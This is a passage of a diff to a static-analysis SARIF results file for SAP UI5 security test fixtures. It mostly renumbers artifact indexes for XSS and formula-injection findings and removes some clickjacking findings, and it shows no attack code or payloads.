"javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 271 + "index" : 273 }, "region" : { "startLine" : 5, @@ -21920,7 +22034,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 275 + "index" : 277 }, "region" : { "startLine" : 14, @@ -21941,7 +22055,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 280 + "index" : 282 }, "region" : { "startLine" : 5, @@ -21960,7 +22074,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 276 + "index" : 278 }, "region" : { "startLine" : 9, @@ -21978,7 +22092,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 275 + "index" : 277 }, "region" : { "startLine" : 7, @@ -21996,7 +22110,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 275 + "index" : 277 }, "region" : { "startLine" : 14, @@ -22017,7 +22131,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 280 + "index" : 282 }, "region" : { "startLine" : 5, @@ -22047,7 +22161,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 284 + "index" : 286 }, "region" : { "startLine" : 14, @@ -22068,7 +22182,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 289 + "index" : 291 }, "region" : { "startLine" : 5, @@ -22087,7 +22201,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 285 + "index" : 287 }, "region" : { "startLine" : 9, @@ -22105,7 +22219,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 284 + "index" : 286 }, "region" : { "startLine" : 7, @@ -22123,7 +22237,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 284 + "index" : 286 }, "region" : { "startLine" : 14, @@ -22144,7 +22258,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 289 + "index" : 291 }, "region" : { "startLine" : 5, @@ -22174,7 +22288,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 27, @@ -22195,7 +22309,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 26, @@ -22213,7 +22327,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 26, @@ -22231,7 +22345,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 27, @@ -22252,7 +22366,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 26, @@ -22281,7 +22395,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 362 + "index" : 364 }, "region" : { "startLine" : 8, @@ -22302,7 +22416,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 367 + "index" : 369 }, "region" : { "startLine" : 5, @@ -22321,7 +22435,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 363 + "index" : 365 }, "region" : { "startLine" : 9, @@ -22339,7 +22453,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js", "uriBaseId" : "%SRCROOT%", - "index" : 361 + "index" : 363 }, "region" : { "startLine" : 5, @@ -22357,7 +22471,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 362 + "index" : 364 }, "region" : { "startLine" : 8, @@ -22378,7 +22492,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 367 + "index" : 369 }, "region" : { "startLine" : 5, @@ -22408,7 +22522,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 387 + "index" : 389 }, "region" : { "startLine" : 8, @@ -22429,7 +22543,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 393 + "index" : 395 }, "region" : { "startLine" : 5, @@ -22448,7 +22562,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 389 + "index" : 391 }, "region" : { "startLine" : 9, @@ -22466,7 +22580,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 388 + "index" : 390 }, "region" : { "startLine" : 7, @@ -22484,7 +22598,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 387 + "index" : 389 }, "region" : { "startLine" : 8, @@ -22505,7 +22619,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 393 + "index" : 395 }, "region" : { "startLine" : 5, @@ -22535,7 +22649,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 398 + "index" : 400 }, "region" : { "startLine" : 8, @@ -22556,7 +22670,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 403 + "index" : 404 }, "region" : { "startLine" : 5, @@ -22575,7 +22689,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 399 + "index" : 401 }, "region" : { "startLine" : 9, @@ -22593,7 +22707,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 397 + "index" : 399 }, "region" : { "startLine" : 7, @@ -22611,7 +22725,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 398 + "index" : 400 }, "region" : { "startLine" : 8, @@ -22632,7 +22746,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 403 + "index" : 404 }, "region" : { "startLine" : 5, @@ -22662,7 +22776,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 }, "region" : { "startLine" : 21, @@ -22683,7 +22797,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 }, "region" : { "startLine" : 18, @@ -22701,7 +22815,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 371 + "index" : 373 }, "region" : { "startLine" : 9, @@ -22719,7 +22833,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 }, "region" : { "startLine" : 21, @@ -22740,7 +22854,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 }, "region" : { "startLine" : 18, @@ -22769,7 +22883,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", - "index" : 383 + "index" : 385 }, "region" : { "startLine" : 13, @@ -22790,7 +22904,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", - "index" : 383 + "index" : 385 }, "region" : { "startLine" : 9, @@ -22808,7 +22922,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 379 + "index" : 381 }, "region" : { "startLine" : 9, @@ -22826,7 +22940,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", - "index" : 383 + "index" : 385 }, "region" : { "startLine" : 13, @@ -22847,7 +22961,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", - "index" : 383 + "index" : 385 }, "region" : { "startLine" : 9, @@ -22876,7 +22990,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 168 }, "region" : { "startLine" : 8, @@ -22897,7 +23011,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 168 }, "region" : { "startLine" : 5, @@ -22916,7 +23030,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 162 + "index" : 165 }, "region" : { "startLine" : 10, @@ -22934,7 +23048,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 168 }, "region" : { "startLine" : 8, @@ -22955,7 +23069,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 168 }, "region" : { "startLine" : 5, @@ -22985,7 +23099,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 9, @@ -23006,7 +23120,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 5, @@ -23025,7 +23139,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 31, @@ -23043,7 +23157,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 9, @@ -23061,7 +23175,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 9, @@ -23079,7 +23193,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 10, @@ -23097,7 +23211,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 32, @@ -23115,7 +23229,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 9, @@ -23136,7 +23250,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 5, @@ -23166,7 +23280,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 17, @@ -23187,7 +23301,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 18, @@ -23205,7 +23319,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 18, @@ -23223,7 +23337,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 19, @@ -23241,7 +23355,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 34, @@ -23259,7 +23373,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 315 + "index" : 317 }, "region" : { "startLine" : 17, @@ -23280,7 +23394,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 313 }, "region" : { "startLine" : 18, @@ -23309,7 +23423,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 323 + "index" : 325 }, "region" : { "startLine" : 8, @@ -23330,7 +23444,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 323 + "index" : 325 }, "region" : { "startLine" : 5, @@ -23349,7 +23463,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 319 + "index" : 321 }, "region" : { "startLine" : 9, @@ -23367,7 +23481,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 323 + "index" : 325 }, "region" : { "startLine" : 8, @@ -23388,7 +23502,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 323 + "index" : 325 }, "region" : { "startLine" : 5, @@ -23418,7 +23532,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 8, @@ -23439,7 +23553,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 5, @@ -23458,7 +23572,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 12, @@ -23476,7 +23590,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 8, @@ -23498,7 +23612,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 5, @@ -23517,7 +23631,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 9, @@ -23535,7 +23649,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 15, @@ -23553,7 +23667,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 15, @@ -23571,7 +23685,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 16, @@ -23589,7 +23703,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 }, "region" : { "startLine" : 10, @@ -23607,7 +23721,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 8, @@ -23628,7 +23742,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 331 + "index" : 333 }, "region" : { "startLine" : 5, @@ -23658,7 +23772,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 348 + "index" : 350 }, "region" : { "startLine" : 8, @@ -23679,7 +23793,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 348 + "index" : 350 }, "region" : { "startLine" : 5, @@ -23698,7 +23812,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 343 + "index" : 345 }, "region" : { "startLine" : 8, @@ -23716,7 +23830,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 348 + "index" : 350 }, "region" : { "startLine" : 8, @@ -23737,7 +23851,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 348 + "index" : 350 }, "region" : { "startLine" : 5, @@ -23767,7 +23881,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", - "index" : 356 + "index" : 358 }, "region" : { "startLine" : 8, @@ -23788,7 +23902,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", - "index" : 356 + "index" : 358 }, "region" : { "startLine" : 5, @@ -23806,7 +23920,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 352 + "index" : 354 }, "region" : { "startLine" : 9, @@ -23824,7 +23938,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", - "index" : 356 + "index" : 358 }, "region" : { "startLine" : 8, @@ -23845,7 +23959,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", - "index" : 356 + "index" : 358 }, "region" : { "startLine" : 5, @@ -23874,7 +23988,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 22, @@ -23895,7 +24009,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 8, @@ -23914,7 +24028,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 407 + "index" : 408 }, "region" : { "startLine" : 9, @@ -23932,7 +24046,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 22, @@ -23954,7 +24068,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 15, @@ -23973,7 +24087,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 407 + "index" : 408 }, "region" : { "startLine" : 9, @@ -23991,7 +24105,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 22, @@ -24012,7 +24126,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 8, @@ -24030,7 +24144,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 411 + "index" : 412 }, "region" : { "startLine" : 15, @@ -24044,152 +24158,34 @@ } } ] }, { - "ruleId" : "js/ui5-clickjacking", - "rule" : { - "id" : "js/ui5-clickjacking", - "index" : 1, - "toolComponent" : { - "index" : 1 - } - }, - "message" : { - "text" : "Possible clickjacking vulnerability due to window\\[ ... onfig\"\\] being set to `allow`." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", - "uriBaseId" : "%SRCROOT%", - "index" : 137 - }, - "region" : { - "startLine" : 9, - "startColumn" : 9, - "endColumn" : 32 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "6152b8f74a1abdf5:1", - "primaryLocationStartColumnFingerprint" : "0" - } - }, { - "ruleId" : "js/ui5-clickjacking", - "rule" : { - "id" : "js/ui5-clickjacking", - "index" : 1, - "toolComponent" : { - "index" : 1 - } - }, - "message" : { - "text" : "Possible clickjacking vulnerability due to data-sap-ui-frameOptions=allow being set to `allow`." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", - "uriBaseId" : "%SRCROOT%", - "index" : 137 - }, - "region" : { - "startLine" : 28, - "startColumn" : 34, - "endColumn" : 66 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "b01bd23ca3666824:1", - "primaryLocationStartColumnFingerprint" : "25" - } - }, { - "ruleId" : "js/ui5-clickjacking", - "rule" : { - "id" : "js/ui5-clickjacking", - "index" : 1, - "toolComponent" : { - "index" : 1 - } - }, - "message" : { - "text" : "Possible clickjacking vulnerability due to missing frame options." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", - "uriBaseId" : "%SRCROOT%", - "index" : 138 - }, - "region" : { - "startLine" : 2, - "endColumn" : 16 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "7fe81114896a63c:1", - "primaryLocationStartColumnFingerprint" : "0" - } - }, { - "ruleId" : "js/ui5-clickjacking", + "ruleId" : "js/ui5-formula-injection", "rule" : { - "id" : "js/ui5-clickjacking", + "id" : "js/ui5-formula-injection", "index" : 1, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "Possible clickjacking vulnerability due to missing frame options." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html", - "uriBaseId" : "%SRCROOT%", - "index" : 244 - }, - "region" : { - "startLine" : 2, - "endColumn" : 16 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : 